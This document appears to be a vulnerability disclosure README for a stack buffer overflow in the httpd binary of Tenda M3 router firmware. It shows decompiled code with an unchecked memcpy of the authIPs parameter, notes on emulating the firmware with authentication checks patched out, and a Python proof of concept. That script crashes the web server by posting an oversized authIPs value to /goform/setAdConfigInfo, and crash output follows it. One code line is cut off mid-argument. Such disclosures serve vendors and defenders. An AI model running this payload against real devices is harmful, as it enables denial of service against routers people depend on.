xxy1126 update 20220820 ... on Aug 19 History

..

readme.assets	3 months ago
readme.markdown	3 months ago

readme.markdown

Tenda M3 contains Stack Overflow Vulnerability

overview

- type: stack overflow vulnerability
- supplier: Tenda https://www.tenda.com
- product: TendaM3 https://www.tenda.com.cn/product/M3.html
- firmware download: https://www.tenda.com.cn/download/detail-3133.html
- affect version: TendaM3 v1.0.0.12(4856)

Description

1. Vulnerability Details

the `httpd` in directory `/bin` has a stack buffer overflow. The vunlerability is in fucntion `formSetAdConfigInfo`

```
38  v31 = (char *)webGetVar(a1, "authGapTime", "30");
39  v30 = (char *)webGetVar(a1, "reAuthotraffic", "15");
40  v29 = (char *)webGetVar(a1, "reAuthType", "1");
41  src = (void *)webGetVar(a1, "thirdPartyAuth", "http://qq.com/auth?username=a&pwd=b");
42  s = (char *)webGetVar(a1, "authIPs", "192.168.100.100-182.168.100.200\n192.168.1.1\n192.168.1.100-192.168.1.25
43  v26 = (char *)webGetVar(a1, "authIpRange", "2");
44  nptr = (char *)webGetVar(a1, "phoneAuthFrequency", "1");
45  v24 = (char *)webGetVar(a1, "phoneNumberBlackList", "13112345678\n15118015944\n13888888888");
46  v23 = (char *)webGetVar(a1, "authFreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
47  v1 = strlen(s);
48  memcpy(v16, s, v1);
49  v2 = strlen(v24);
50  memcpy(v15, v24, v2);
51  v3 = strlen(v23);
52  memcpy(v14, v23, v3);
```

In this function, is copies POST parameter `authIPs` to stack buffer without checking its length, causing a stack buffer overflow vulnerability.

2. Recurring loopholes and POC

use qemu-arm-static to run the `httpd` , we need to patch it before run.

- in `main` function, The `ConnectCfm` function didn't work properly, so I patched it to `NOP`
- The `R7WebsSecurityHandler` function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

```
import requests

data = {
    "authIPs": "a"*0x1000
}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setAdConfigInfo", data=data, cookies=co
print(res.content)
```

```
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
httpd listen ip = 127.0.0.1 port = 80
webs: Listening for HTTP requests at address 20.246.254.255
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    14162 segmentation fault  sudo chroot . ./qemu bin/httpd
```